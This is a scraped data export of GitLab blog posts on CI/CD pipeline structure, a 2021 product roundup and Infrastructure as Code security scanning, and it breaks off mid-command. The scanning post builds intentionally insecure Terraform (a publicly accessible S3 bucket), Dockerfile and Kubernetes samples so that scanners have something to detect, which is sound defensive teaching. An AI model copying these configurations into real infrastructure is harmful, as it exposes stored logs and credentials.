unique.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659961/Blog/Hero%20Images/parent-child-multi-project-pipelines-unsplash.jpg","https://about.gitlab.com/blog/parent-child-vs-multi-project-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Breaking down CI/CD complexity with parent-child and multi-project pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fabio Pitino\"}],\n        \"datePublished\": \"2022-02-22\",\n      }",{"title":15189,"description":15184,"authors":15190,"heroImage":15185,"date":15192,"body":15193,"category":734,"tags":15194},"Breaking down CI/CD complexity with parent-child and multi-project pipelines",[15191],"Fabio Pitino","2022-02-22","\nSoftware requirements change over time. Customers request more features and the application needs to scale well\nto meet user demands. As software grows in size, so does its complexity, to the point where we might decide that it's\ntime to split the project up into smaller, cohesive components.\n\nAs we proceed to tackle this complexity we want to ensure that our CI/CD pipelines continue to validate\nthat all the pieces work correctly together.\n\nThere are two typical paths to splitting up software projects:\n\n- **Isolating independent modules within the same repository**: For example, separating the UI from the backend,\n  the documentation from code, or extracting code into independent packages.\n- **Extracting code into a separate repository**: For example, extracting some generic logic into a library, or creating\n  independent microservices.\n\nWhen we pick a path for splitting up the project, we should also adapt the CI/CD pipeline to match.\n\nFor the first path, [GitLab CI/CD](/topics/ci-cd/) provides [parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html) as a feature that helps manage complexity while keeping it all in a monorepo.\n\nFor the second path, [multi-project pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html)\nare the glue that helps ensure multiple separate repositories work together.\n\nLet's look into how these two approaches differ, and understand how to best leverage them.\n\n## Parent-child pipelines\n\nIt can be challenging to maintain complex CI/CD pipeline configurations, especially when you need to coordinate many jobs that may relate\nto different components, while at the same time keeping the pipeline efficient.\n\nLet's imagine we have an app with all code in the same repository, but split into UI and backend components. A \"one-size-fits-all\" pipeline for this app probably would have all the jobs grouped into common stages that cover all the components. The default is to use `build`, `test`, and `deploy` stages.\nUnfortunately, this could be a source of inefficiency because the UI and backend represent two separate tracks of the pipeline.\nThey each have their own independent requirements and structure and likely don't depend on each other.\nThe UI might not need the `build` stage at all, but it might instead need a `system-test` stage with jobs that test the app end-to-end.\nSimilarly, the UI jobs from `system-test` might not need to wait for backend jobs to complete.\n\n[Parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html) help here,\nenabling you to extract cohesive parts of the pipeline into child pipelines that runs in isolation.\n\nWith parent-child pipelines we could break the configurations down into two separate\ntracks by having two separate jobs trigger child pipelines:\n\n- The `ui` job triggers a child pipeline that runs all the UI jobs.\n- The `backend` job triggers a separate child pipeline that runs all the backend jobs.\n\n```yaml\nui:\n  trigger:\n    include: ui/.gitlab-ci.yml\n    strategy: depend\n  rules:\n    - changes: [ui/*]\nbackend:\n  trigger:\n    include: backend/.gitlab-ci.yml\n    strategy: depend\n  rules:\n    - changes: [backend/*]\n```\n\nThe modifier `strategy: depend`, which is also available for multi-project pipelines, makes the trigger job reflect the status of the\ndownstream (child) pipeline and waits for it to complete. Without `strategy: depend` the trigger job succeeds immediately after creating the downstream pipeline.\n\nNow the frontend and backend teams can manage their CI/CD configurations without impacting each other's pipelines. In addition to that, we can now explicitly visualize the two workflows.\n\n![example parent-child pipeline](https://about.gitlab.com/images/blogimages/2022-02-01-parent-child-vs-multi-project-pipelines/parent-child.png){: .shadow.medium.center}\n\nThe two pipelines run in isolation, so we can set variables or configuration in one without affecting the other. For example, we could use `rules:changes` or `workflow:rules` inside `backend/.gitlab-ci.yml`, but use something completely different in `ui/.gitlab-ci.yml`.\n\nChild pipelines run in the same context of the parent pipeline, which is the combination of project, Git ref and commit SHA. Additionally, the child pipeline inherits some information from the parent pipeline, including Git push data like `before_sha`, `target_sha`, the related merge request, etc.\nHaving the same context ensures that the child pipeline can safely run as a sub-pipeline of the parent, but be in complete isolation.\n\nA programming analogy to parent-child pipelines would be to break down long procedural code into smaller, single-purpose functions.\n\n## Multi-project pipelines\n\nIf our app spans across different repositories, we should instead leverage [multi-project pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html). Each repository defines a pipeline that suits the project's needs. Then, these standalone and independent pipelines can be chained together to create essentially a much bigger pipeline that ensures all the projects are integrated correctly.\n\nThere can be endless possibilities and topologies, but let's explore a simple case of asking another project\nto run a service for our pipeline.\n\nThe app is divided into multiple repositories, each hosting an independent component of the app.\nWhen one of the components changes, that project's pipeline runs.\nIf the earlier jobs in the pipeline are successful, a final job triggers a pipeline on a different project, which is the project responsible for building, running smoke tests, and\ndeploying the whole app. If the component pipeline fails because of a bug, the process is interrupted and there is no\nneed to trigger a pipeline for the main app project.\n\nThe component project's pipeline:\n\n```yaml\nbuild:\n  stage: build\n  script: ./build_component.sh\n\ntest:\n  stage: test\n  script: ./test_component.sh\n\ndeploy:\n  stage: deploy\n  trigger:\n    project: myorg/app\n    strategy: depend\n```\n\nThe full app project's pipeline in `myorg/app` project:\n\n```yaml\nbuild:\n  stage: build\n  script: ./build_app.sh  # build all components\n\nqa-test:\n  stage: test\n  script: ./qa_test.sh\n\nsmoke-test:\n  stage: test\n  script: ./smoke_test.sh\n\ndeploy:\n  stage: deploy\n  script: ./deploy_app.sh\n```\n\n![example multi-project pipeline](https://about.gitlab.com/images/blogimages/2022-02-01-parent-child-vs-multi-project-pipelines/multi-project.png){: .shadow.center}\n\nIn our example, the component pipeline (upstream) triggers a downstream multi-project pipeline to perform a service:\nverify the components work together, then deploy the whole app.\n\nA programming analogy to multi-project pipelines would be like calling an external component or function to\neither receive a service (using `strategy:depend`) or to notify it that an event occurred (without `strategy:depend`).\n\n## Key differences between parent-child and multi-project pipelines\n\nAs seen above, the most obvious difference between parent-child and multi-project pipelines is the project\nwhere the pipelines run, but there are are other differences to be aware of.\n\nContext:\n\n- Parent-child pipelines run on the same context: same project, ref, and commit SHA.\n- Multi-project pipelines run on completely separate contexts. The upstream multi-project pipeline can indicate [a ref to use](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html), which can indicate what version of the pipeline to trigger.\n\nControl:\n\n- A parent pipeline _generates_ a child pipeline, and the parent can have a high degree of control over what the child pipeline\n  runs. The parent can even [dynamically generate configurations for child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html).\n- An upstream pipeline _triggers_ a downstream multi-project pipeline. The upstream (triggering) pipeline does not have much control over the structure of the downstream (triggered) pipeline.\n  The upstream project treats the downstream pipeline as a black box.\n  It can only choose the ref to use and pass some variables downstream.\n\nSide-effects:\n\n- The final status of a parent pipeline, like other normal pipelines, affects the status of the ref the pipeline runs against. For example, if a parent pipeline fails on the `main` branch, we say that `main` is broken.\n  The status of a ref is used in various scenarios, including [downloading artifacts](https://docs.gitlab.com/ee/api/job_artifacts.html#download-the-artifacts-archive) from the latest successful pipeline.\n\n  Child pipelines, on the other hand, run on behalf of the parent pipeline, and they don't directly affect the ref status. If triggered using `strategy: depend`, a child pipeline affects the status of the parent pipeline.\n  In turn, the parent pipeline can be configured to fail or succeed based on `allow_failure:` configuration on the job triggering the child pipeline.\n- A multi-project downstream pipeline may affect the status of the upstream pipeline if triggered using `strategy: depend`,\n  but each downstream pipeline affects the status of the ref in the project they run.\n- Parent and child pipelines that are still running are all automatically canceled if interruptible when a new pipeline is created for the same ref.\n- Multi-project downstream pipelines are not automatically canceled when a new upstream pipeline runs for the same ref. The auto-cancelation feature only works within the same project.\n  Downstream multi-project pipelines are considered \"external logic\". They can only be auto-canceled when configured to be interruptible\n  and a new pipeline is triggered for the same ref on the downstream project (not the upstream project).\n\nVisibility:\n\n- Child pipelines are not directly visible in the pipelines index page because they are considered internal\n  sub-components of the parent pipeline. This is to enforce the fact that child pipelines are not standalone and they are considered sub-components of the parent pipeline.\n  Child pipelines are discoverable only through their parent pipeline page.\n- Multi-project pipelines are standalone pipelines because they are normal pipelines, but just happen to be triggered by an another project's pipeline. They are all visible in the pipeline index page.\n\n## Conclusions\n\nParent-child pipelines inherit a lot of the design from multi-project pipelines, but parent-child pipelines have differences that make them a very unique type\nof pipeline relationship.\n\nSome of the parent-child pipelines work we at GitLab will be focusing on is about surfacing job reports generated in child pipelines as merge request widgets,\ncascading cancelation and removal of pipelines as well as passing variables across related pipelines.\nSome of the parent-child pipeline work we at GitLab plan to focus on relates to:\n\n- Surfacing job reports generated in child pipelines in merge request widgets.\n- Cascading cancelation down to child pipelines.\n- Cascading removal down to child pipelines.\n- Passing variables across related pipelines.\n\nYou can check [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/336884) for planned future developments on parent-child and multi-project pipelines.\nLeave feedback or let us know how we can help.\n\nCover image by [Ravi Roshan](https://unsplash.com/@ravi_roshan_inc?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1384,1385,754],{"slug":15196,"featured":6,"template":678},"parent-child-vs-multi-project-pipelines","content:en-us:blog:parent-child-vs-multi-project-pipelines.yml","Parent Child Vs Multi Project Pipelines","en-us/blog/parent-child-vs-multi-project-pipelines.yml","en-us/blog/parent-child-vs-multi-project-pipelines",{"_path":15202,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15203,"content":15208,"config":15213,"_id":15215,"_type":16,"title":15216,"_source":17,"_file":15217,"_stem":15218,"_extension":20},"/en-us/blog/the-best-of-gitlabs-devops-platform-2021",{"title":15204,"description":15205,"ogTitle":15204,"ogDescription":15205,"noIndex":6,"ogImage":14756,"ogUrl":15206,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15206,"schema":15207},"The best of GitLab's DevOps Platform 2021","Some highlights from last year, and what to expect from 2022.","https://about.gitlab.com/blog/the-best-of-gitlabs-devops-platform-2021","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The best of GitLab's DevOps Platform 2021\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2022-02-18\",\n      }",{"title":15204,"description":15205,"authors":15209,"heroImage":14756,"date":15210,"body":15211,"category":962,"tags":15212},[11790],"2022-02-18","\nBefore we get too far into 2022, we wanted to take a look back at the most exciting additions to our [DevOps Platform](/topics/devops-platform/) over the last year. Since we release every month on the 22nd, there were lots of new features to consider, but these stood out to me.\n\n## Epic Boards\n\nIn [GitLab 14.0](/releases/2021/06/22/gitlab-14-0-released/#epic-boards), we made it easy to keep track of all epics in one place through Epic Boards. Our Epic Boards are customizable with a simple “drag and drop” interface accessible to all teammates, not just the technical ones. Now it’s painless to create general or DevOps-focused workflow states. And teams aren’t just more efficient, they can actually be predictable.\n\nExplore our [Epic Boards](https://docs.gitlab.com/ee/user/group/epics/epic_boards.html).\n\n## Integrations with VS Code and Gitpod\n\nFans of Visual Studio Code got a much tighter integration with GitLab in 2021. The [GitLab Workflow Extension](https://docs.gitlab.com/ee/user/project/repository/vscode.html) reduces context switching and improves productivity. And we rounded up [8 ways to get the most out of VS Code and GitLab](/blog/vscode-workflows-for-working-with-gitlab/).\n\nGitLab also created a tighter integration with Gitpod. Developers can now set up environments as code, greatly [speeding up the process](/blog/teams-gitpod-integration-gitlab-speed-up-development/). I think this Gitpod integration is so slick I used it to [code, build and deploy from an iPad](/blog/how-to-code-build-and-deploy-from-an-ipad-using-gitlab-and-gitpod/). Gitpod and its features give developers an opportunity to think outside the box.\n\n## So much security\n\nIn 2021 we gave security pros a true “home” in GitLab with our security dashboard. Teams can now [see vulnerabilities in a pipeline](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) and easily slice and dice that data as necessary.\n\nStatic application security testing (SAST) also got an upgrade last year. We now have nextgen SAST that will [reduce Ruby false positives](/releases/2021/09/22/gitlab-14-3-released/#next-generation-sast-to-reduce-ruby-false-positives) as well as the ability to automatically test [Infrastructure as Code](/releases/2021/11/22/gitlab-14-5-released/) for the first time.\n\n## Praefect for Gitaly\n\nCustomers who want high availability on their own instances now can use Praefect, [our Gitaly clustering solution](/blog/high-availability-git-storage-with-praefect/), that allows Git to scale. Here’s what you [need to know](https://docs.gitlab.com/ee/administration/gitaly/praefect.html) about configuring a Gitaly cluster.\n\n## A visual pipeline editor\n\nIt’s hard to build it if you can’t see it, and that’s where our Pipeline Editor comes in. Use Pipeline Editor to [quickly set up CI/CD](/blog/pipeline-editor-overview/) because it’s now easy to see configurations and dependencies between jobs. Validate and visualize [all parts of the pipeline](https://docs.gitlab.com/ee/ci/pipeline_editor/) without feeling overwhelmed by the complexity.\n\n## Working with (and on) OpenShift\n\nIt’s now possible to set up a GitLab Runner for [Red Hat’s popular OpenShift infrastructure](https://docs.gitlab.com/runner/install/operator.html). Organizations relying on OpenShift can now use [the GitLab Operator](https://about.gitlab.com/blog/open-shift-ga/) to easily tap into the power of GitLab’s DevOps Platform.\n\n## The GitLab Agent for Kubernetes\n\nLast fall we announced an easier way to tackle GitLab and Kubernetes integrations in a secure and cloud-friendly way: [The GitLab Agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/). We call this `agentk` and here’s [everything you need to know](/blog/setting-up-the-k-agent/) about set up.\n\n## 2021 and 2022\n\nIf I had to sum it up, I’d say that in 2021 we doubled down on security. And this year, expect us to double down on operations, specifically observability, thanks to our [acquisition of Opstrace](/press/releases/2021-12-14-gitlab-acquires-opstrace-to-expand-its-devops-platform-with-open-source-observability-solution.html). It’s going to be an exciting ride!\n",[4103,674,2368],{"slug":15214,"featured":6,"template":678},"the-best-of-gitlabs-devops-platform-2021","content:en-us:blog:the-best-of-gitlabs-devops-platform-2021.yml","The Best Of Gitlabs Devops Platform 2021","en-us/blog/the-best-of-gitlabs-devops-platform-2021.yml","en-us/blog/the-best-of-gitlabs-devops-platform-2021",{"_path":15220,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15221,"content":15227,"config":15232,"_id":15234,"_type":16,"title":15235,"_source":17,"_file":15236,"_stem":15237,"_extension":20},"/en-us/blog/fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them",{"title":15222,"description":15223,"ogTitle":15222,"ogDescription":15223,"noIndex":6,"ogImage":15224,"ogUrl":15225,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15225,"schema":15226},"Fantastic Infrastructure as Code security attacks and how to find them","Learn about possible attack scenarios in Infrastructure as Code and GitOps environments, evaluate tools and scanners with Terraform, Kubernetes, etc., and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667482/Blog/Hero%20Images/cover-image-unsplash.jpg","https://about.gitlab.com/blog/fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Fantastic Infrastructure as Code security attacks and how to find them\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2022-02-17\",\n      }",{"title":15222,"description":15223,"authors":15228,"heroImage":15224,"date":15229,"body":15230,"category":8943,"tags":15231},[4808],"2022-02-17","\n[Infrastructure as Code](/topics/gitops/infrastructure-as-code/)(IaC) has eaten the world. It helps manage and provision computer resources automatically and avoids manual work or UI form workflows. Lifecycle management with IaC started with declarative and idempotent configuration, package, and tool installation. In the era of cloud providers, IaC tools additionally help abstract cloud provisioning. They can create defined resources automatically (network, storage, databases, etc.) and apply the configuration (DNS entries, firewall rules, etc.).\n\nLike everything else, it has its flaws. IaC workflows have shifted left in the development lifecycle, making it more efficient. Developers and DevOps engineers need to learn new tools and best practices. Mistakes may result in leaked credentials or supply chain attacks. Existing security assessment tools might not be able to detect these new vulnerabilities.\n\nIn this post, we will dive into these specific risks and focus on IaC management tools such as Terraform, cloud providers, and deployment platforms involving containers and Kubernetes.\n\nFor each scenario, we will look into threats, tools, integrations, and best practices to reduce risk.\n\nYou can read the blog post top-down or navigate into the chapters individually.\n\n- [Scan your own infrastructure - know what's important](#scan-your-infrastructure---know-what-is-important)\n    - [Thinking like an attacker](#thinking-like-an-attacker)\n- [Tools to detect Terraform vulnerabilities](#tools-to-detect-terraform-vulnerabilities)\n- [Develop more IaC scenarios](#develop-more-iac-scenarios)\n    - [Terraform Module Dependency Scans](#terraform-module-dependency-scans)\n    - [IaC Security Scanning for Containers](#iac-security-scanning-for-containers)\n    - [IaC Security Scanning with Kubernetes](#iac-security-scanning-with-kubernetes)\n- [Integrations into CI/CD and Merge Requests for Review](#integrations-into-cicd-and-merge-requests-for-review)\n    - [Reports in MRs as comment](#reports-in-mrs-as-comment)\n    - [MR Comments using GitLab IaC SAST reports as source](#mr-comments-using-gitlab-iac-sast-reports-as-source)\n- [What is the best integration strategy?](#what-is-the-best-integration-strategy)\n\n## Scan your infrastructure - know what is important\n\nStart with identifying the project/group responsible for managing the IAC tasks. An inventory search for specific IaC tools, file suffixes (Terraform uses `.tf`, for example), and languages can be helpful. The security scan tools discussed in this blog post will discover all supported types automatically. Once you have identified the projects, you can use one of the tools to run a scan and identify the detected possible vulnerabilities.\n\nThere might not be any scan results because your infrastructure is secure at this time. Though, your processes may require you to create documentation, runbooks, and action items for eventually discovered vulnerabilities in the future. Creating a forecast on possible scenarios to defend is hard, so let us change roles from the defender to the attacker for a moment. Which security vulnerabilities are out there to exploit as a malicious attacker? Maybe it is possible to create vulnerable scenarios and simulate the attacker role by running a security scan.\n\n### Thinking like an attacker\n\nThere can be noticeable potential vulnerabilities like plaintext passwords in the configuration. Other scenarios involve cases you would never think of or a chain of items causing a security issue.\n\nLet us create a scenario for an attacker by provisioning an S3 bucket in AWS with Terraform. We intend to store logs, database dumps, or credential vaults in this S3 bucket.\n\nThe following example creates the `aws_s3_bucket` resource in Terraform using the AWS provider.\n\n```hcl\n# Create the bucket\nresource \"aws_s3_bucket\" \"demobucket\" {\n  bucket = \"terraformdemobucket\"\n  acl = \"private\"\n}\n```\n\nAfter provisioning the S3 bucket for the first time, someone decided to make the S3 bucket accessible by default. The example below grants public access to the bucket using `aws_s3_bucket_public_access_block`. `block_public_acls` and `block_public_policy` are set to `false` to allow any public access.\n\n```\n# Grant bucket access: public\nresource \"aws_s3_bucket_public_access_block\" \"publicaccess\" {\n  bucket = aws_s3_bucket.demobucket.id\n  block_public_acls = false\n  block_public_policy = false\n}\n```\n\nThe S3 bucket is now publicly readable, and anyone who knows the URL or scans network ranges for open ports may find the S3 bucket and its data. Malicious actors can not only capture credentials but also may learn about your infrastructure, IP addresses, internal server FQDNs, etc. from the logs, backups, and database dumps being stored in the S3 bucket.\n\nWe need ways to mitigate and detect this security problem. The following sections describe the different tools you can use. The full Terraform code is located in [this project](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/tree/main/terraform/aws) and allows you to test all tools described in this blog post.\n\n## Tools to detect Terraform vulnerabilities\n\nIn the \"not worst case\" scenario, the Terraform code to manage your infrastructure is persisted at a central Git server and not hidden somewhere on a host or local desktop. Maybe you are using `terraform init, plan, apply` jobs in CI/CD pipelines already. Let us look into methods and tools that help detect the public S3 bucket vulnerability. Later, we will discuss CI/CD integrations and automating IaC security scanning.\n\nBefore we dive into the tools, make sure to clone the demo project locally to follow the examples yourself.\n\n```shell\n$ cd /tmp\n$ git clone https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning.git && cd  infrastructure-as-code-scanning/\n```\n\nThe tool installation steps in this blog post are illustrated with [Homebrew on macOS](https://brew.sh/). Please refer to the tools documentation for alternative installation methods and supported platforms.\n\nYou can follow the tools for Terraform security scanning by reading top-down, or navigate into the tools sections directly:\n\n- [tfsec](#tfsec)\n- [kics](#kics)\n- [terrascan](#terrascan)\n- [semgrep](#semgrep)\n- [tflint](#tflint)\n\n### tfsec\n\n[tfsec](https://github.com/aquasecurity/tfsec) from Aqua Security can help detect Terraform vulnerabilities. There are [Docker images available](https://github.com/aquasecurity/tfsec#use-with-docker) to quickly test the scanner on the CLI, or binaries to [install tfsec](https://aquasecurity.github.io/tfsec/v1.1.4/getting-started/installation/). Run `tfsec` on the local project path `terraform/aws/` to get a list of vulnerabilities.\n\n```shell\n$ brew install tfsec\n$ tfsec terraform/aws/\n```\n\nThe default scan provides a table overview on the CLI, which may need additional filters. Inspect `tfsec –help` to get a list of all available [parameters](https://aquasecurity.github.io/tfsec/v1.1.4/getting-started/usage/) and try generating JSON and JUnit output files to process further.\n\n```shell\n$ tfsec terraform/aws --format json --out tfsec-report.json\n1 file(s) written: tfsec-report.json\n$ tfsec terraform/aws --format junit --out tfsec-junit.xml\n1 file(s) written: tfsec-junit.xml\n```\n\nThe full example is located in the [terraform/aws directory in this project](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/tree/main/terraform/aws).\n\n#### Parse tfsec JSON reports with jq\n\nIn an earlier blog post, we shared [how to detect the JSON data structures and filter with chained jq commands](/blog/devops-workflows-json-format-jq-ci-cd-lint/). The tfsec report is a good practice: Extract the `results` key, iterate through all array list items and filtered by `rule_service` being `s3`, and only print `severity`, `description` and `location.filename`.\n\n```shell\n$ jq \u003C tfsec-report.json | jq -c '.[\"results\"]' | jq -c '.[] | select (.rule_service == \"s3\") | [.severity, .description, .location.filename]'\n```\n\n![tfsec parser output example](https://about.gitlab.com/images/blogimages/iac-security-scanning/tfsec-json-jq-parser.png){: .shadow}\n\n### kics\n\n[kics](https://kics.io/) is another IaC scanner, providing support for many different tools (Ansible, Terraform, Kubernetes, Dockerfile, and cloud configuration APIs such as AWS CloudFormation, Azure Resource Manager, and Google Deployment Manager).\n\nLet's try it: [Install kics](https://docs.kics.io/latest/getting-started/) and run it on the vulnerable project. `--report-formats`, `--output-path` and `--output-name` allow you to create a JSON report which can be automatically parsed with additional tooling.\n\n```shell\n$ kics scan --path .\n$ kics scan --path . --report-formats json --output-path kics --output-name kics-report.json\n```\n\nParsing the JSON report from `kics` with jq works the same way as the tfsec example above. Inspect the data structure and nested object, and filter by AWS as `cloud_provider`. The `files` entry is an array of dictionaries, which turned out to be a little tricky to extract with an additional `(.files[] | .file_name )` to add:\n\n```\n$ jq \u003C kics/kics-report.json | jq -c '.[\"queries\"]' | jq -c '.[] | select (.cloud_provider == \"AWS\") | [.severity, .description, (.files[] | .file_name ) ]'\n```\n\n![kics json jq parser](https://about.gitlab.com/images/blogimages/iac-security-scanning/kics-json-jq-parser.png){: .shadow}\n\n`kics` returns different [exit codes](https://docs.kics.io/latest/results/#exit_status_code) based on the number of different severities found. `50` indicates `HIGH` severities and causes your CI/CD pipeline to fail.\n\n### checkov\n\n[Checkov](https://checkov.io) supports Terraform (for AWS, GCP, Azure and OCI), CloudFormation, ARM, Severless framework, Helm charts, Kubernetes, and Docker.\n\n```shell\n$ brew install checkov\n$ checkov --directory .\n```\n\n### terrascan\n\n[Terrascan](https://runterrascan.io/docs/getting-started/) supports Terraform, and more [policies](https://runterrascan.io/docs/policies/) for cloud providers, Docker, and Kubernetes.\n\n```shell\n$ brew install terrascan\n$ terrascan scan .\n```\n\n### semgrep\n\nSemgrep is working on [Terraform support](https://semgrep.dev/docs/language-support/), currently in Beta. It also detects Dockerfile errors - for example invalid port ranges and multiple ranges, similar to kics.\n\n```shell\n$ brew install semgrep\n$ semgrep --config auto .\n```\n\n### tflint\n\n[tflint](https://github.com/terraform-linters/tflint) also is an alternative scanner.\n\n## Develop more IaC scenarios\n\nWhile testing IaC Security Scanners for the first time, I was looking for demo projects and examples. The [kics queries list for Terraform](https://docs.kics.io/latest/queries/terraform-queries/) provides an exhaustive list of all vulnerabilities and the documentation linked. From there, you can build and create potential attack vectors for demos and showcases without leaking your company code and workflows.\n\n[Terragoat](https://github.com/bridgecrewio/terragoat) also is a great learning resource to test various scanners and see real-life examples for vulnerabilities.\n\n```shell\n$ cd /tmp && git clone https://github.com/bridgecrewio/terragoat.git && cd terragoat\n\n$ tfsec .\n$ kics scan --path .\n$ checkov --directory .\n$ semgrep --config auto .\n$ terrascan scan .\n```\n\nIt is also important to verify the reported vulnerabilities and create documentation for required actions for your teams. Not all detected vulnerabilities are necessarily equally critical in your environment. With the rapid development of IaC, [GitOps}(https://about.gitlab.com/topics/gitops/), and cloud-native environments, it can also be a good idea to use 2+ scanners to see if there are missing vulnerabilities on one or the other.\n\nThe following sections discuss more scenarios in detail.\n\n- [Terraform Module Dependency Scans](#terraform-module-dependency-scans)\n- [IaC Security Scanning for Containers](#iac-security-scanning-for-containers)\n- [IaC Security Scanning with Kubernetes](#iac-security-scanning-with-kubernetes)\n\n### Terraform Module Dependency Scans\n\nRe-usable IaC workflows also can introduce security vulnerabilities you are not aware of. [This project](https://gitlab.com/gitlab-de/use-cases/iac-tf-vuln-module) provides the module files and package in the registry, which can be consumed by `main.tf` in the demo project.\n\n```hcl\nmodule \"my_module_name\" {\n  source = \"gitlab.com/gitlab-de/iac-tf-vuln-module/aws\"\n  version = \"1.0.0\"\n}\n```\n\nkics has [limited support for the official Terraform module registry](https://docs.kics.io/latest/platforms/#terraform_modules), `checkov` failed to download private modules, `terrascan` and `tfsec` work when `terraform init` is run before the scan. Depending on your requirements, running `kics` for everything and `tfsec` for module dependency checks can be a solution, suggestion added [here](https://gitlab.com/groups/gitlab-org/-/epics/6653#note_840447132).\n\n### IaC Security Scanning for Containers\n\nSecurity problems in containers can lead to application deployment vulnerabilities. The [kics query database](https://docs.kics.io/latest/queries/dockerfile-queries/) helps to reverse engineer more vulnerable examples: Using the latest tag, privilege escalations with invoking sudo in a container, ports out of range, and multiple entrypoints are just a few bad practices.\n\nThe following [Dockerfile](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/blob/main/Dockerfile) implements example vulnerabilities for the scanners to detect:\n\n```\n# Create vulnerabilities based on kics queries in https://docs.kics.io/latest/queries/dockerfile-queries/\nFROM debian:latest\n\n# kics: Run Using Sudo\n# kics: Run Using apt\nRUN sudo apt install git\n\n# kics: UNIX Ports Out Of Range\nEXPOSE 99999\n\n# kics: Multiple ENTRYPOINT Instructions Listed\nENTRYPOINT [\"ex1\"]\nENTRYPOINT [\"ex2\"]\n```\n\nKics, tfsec, and terrascan can detect `Dockerfile` vulnerabilities, similar to semgrep and checkov. As an example scanner, terrascan can detect the vulnerabilities using the `--iac-type docker` parameter that allows to filter the scan type.\n\n```shell\n$ terrascan scan --iac-type docker\n```\n\n![terrascan Docker IaC type scan result](https://about.gitlab.com/images/blogimages/iac-security-scanning/terrascan-docker-iac.png){: .shadow}\n\nYou can run kics and tfsec as an exercise to verify the results.\n\n### IaC Security Scanning with Kubernetes\n\nSecuring a Kubernetes cluster can be a challenging task. Open Policy Agent, Kyverno, RBAC, etc., and many different YAML configuration attributes require reviews and automated checks before the production deployments. [Cluster image scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) is one way to mitigate security threats, next to [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) for the applications being deployed. A suggested read is the book [“Hacking Kubernetes” book](https://www.oreilly.com/library/view/hacking-kubernetes/9781492081722/) by Andrew Martin and Michael Hausenblas if you want to dive deeper into Kubernetes security and attack vectors.\n\nIt's possible to make mistakes when, for example, copying YAML example configuration and continue using it. I've created a deployment and service for a [Kubernetes monitoring workshop](/handbook/marketing/developer-relations/developer-evangelism/projects/#practical-kubernetes-monitoring-with-prometheus), which provides a practical example to learn but also uses some not so good practices.\n\nThe following configuration in [ecc-demo-service.yml](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/blob/main/kubernetes/ecc-demo-service.yml) introduces vulnerabilities and potential production problems:\n\n```yaml\n---\n# A deployment for the ECC Prometheus demo service with 3 replicas.\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: ecc-demo-service\n  labels:\n    app: ecc-demo-service\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: ecc-demo-service\n  template:\n    metadata:\n      labels:\n        app: ecc-demo-service\n    spec:\n      containers:\n      - name: ecc-demo-service\n        image: registry.gitlab.com/everyonecancontribute/observability/prometheus_demo_service:latest\n        imagePullPolicy: IfNotPresent\n        args:\n        - -listen-address=:80\n        ports:\n        - containerPort: 80\n---\n# A service that references the demo service deployment.\napiVersion: v1\nkind: Service\nmetadata:\n  name: ecc-demo-service\n  labels:\n    app: ecc-demo-service\nspec:\n  ports:\n  - port: 80\n    name: web\n  selector:\n    app: ecc-demo-service\n```\n\nLet's scan the Kubernetes manifest with kics and parse the results again with jq. A list of kics queries for Kubernetes can be found in the [kics documentation](https://docs.kics.io/latest/queries/kubernetes-queries/).\n\n```shell\n$ kics scan --path kubernetes --report-formats json --output-path kics --output-name kics-report.json\n\n$ jq \u003C kics/kics-report.json | jq -c '.[\"queries\"]' | jq -c '.[] | select (.platform == \"Kubernetes\") | [.severity, .description, (.files[] | .file_name ) ]'\n```\n\n![Kubernetes manifest scans and jq parser results with kics](https://about.gitlab.com/images/blogimages/iac-security-scanning/kics-kubernetes-jq-parser.png){: .shadow}\n\n[Checkov](https://www.checkov.io/) detects similar vulnerabilities with Kubernetes.\n\n```\n$ checkov --directory kubernetes/\n$ checkov --directory kubernetes -o json > checkov-report.json\n```\n\n[kube-linter](https://docs.kubelinter.io/#/?id=installing-kubelinter) analyzes Kubernetes YAML files and Helm charts for production readiness and security.\n\n```shell\n$ brew install kube-linter\n$ kube-linter lint kubernetes/ecc-demo-service.yml --format json > kube-linter-report.json\n```\n\n[kubesec](https://kubesec.io/) provides security risk analysis for Kubernetes resources. `kubesec` is also integrated into the [GitLab SAST scanners](https://docs.gitlab.com/ee/user/application_security/sast/#enabling-kubesec-analyzer).\n\n```shell\n$ docker run -i kubesec/kubesec:512c5e0 scan /dev/stdin \u003C 